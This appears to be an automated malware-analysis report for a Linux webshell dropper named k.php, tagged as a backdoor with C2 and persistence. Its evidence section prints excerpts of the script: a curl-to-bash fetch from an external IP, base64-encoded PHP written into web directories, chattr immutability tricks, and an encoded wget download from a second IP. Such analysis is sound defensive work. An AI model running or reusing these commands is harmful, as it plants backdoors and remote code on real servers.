Hostile ^100% linux Download

k.php

Webshell, backdoor, C2, persistence

Creates UID/GID-zero login accountCron with base64 decode

SHA-256c6ef271e202b5905fee1e37a307ec0a8e175710cbfb3f1eb16b94fdb3e6a1717

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₆(P₂As₂CErDyLa)H₅(Cm₉DbF₁₀Os₅Po₄)Md

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfNGRlODkyOWI4MTBkMTBkYWM1YjQ1ZjgzMjg5NjI2NjQgKi8gaWYoZmFsc2UpeyAkTk5lRlBraWZYVWtLTk9vZUUgPSAnZGVhZGNvZGVfYW50aV9hdic7IH0gJERub1l5RHNCR2pIQWF1byA9IGJhc2U2NF9kZWNvZGUoJ1puSm1ablppWVY5bVoyNWxaeWdwT3dwMmN5QW9kbVptY21jb0pGOUZVa1JJVWtaSFd5ZDZjVFVuWFNrZ0ppWWdlbkUxS0NSZlJWSkVTRkpHUjFzbmVuRTFKMTBwSUQwOUlDZHlNamN3T0hNMk1XOXhjakEwTVhGek56SnZiM0p3YjNJek1XNHlNekp1YmljcElIc0tJQ0FnSUNSZlJsSkdSbFpDUVZzbmVXSmllSFluWFNBOUlDZDVZblIwY25Fbk93cDlDblp6SUNnaGRtWm1jbWNvSkY5R1VrWkdWa0pCV3lkNVltSjRkaWRkS1NrZ2V3b2dJQ0FnY25CMVlpQW5QSE5pWlhvZ2JuQm5kbUpoUFNJaUlIcHlaM1ZpY1QwaVkySm1aeUkrSnpzS0lDQWdJSEp3ZFdJZ0p6eDJZV05vWnlCbmJHTnlQU0puY210bklpQmhi …

PHP decodes a large Base64 literal line 3

3:7922… b3QxMygkRG5vWXlEc0JHakhBYXVvKTsgZXZhbCgkWmRxaGluY3NZUWhuVU0pOyA/Pg==' | base64 -d > /var/www/html/admin …

Encoded URL pinned to external IPv4 lines 27–31

27:267… Zy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess
28chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null
29chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null
30chattr +i /var/www/html/h.php 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null
31echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW …

String literal sets curl/wget output file line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …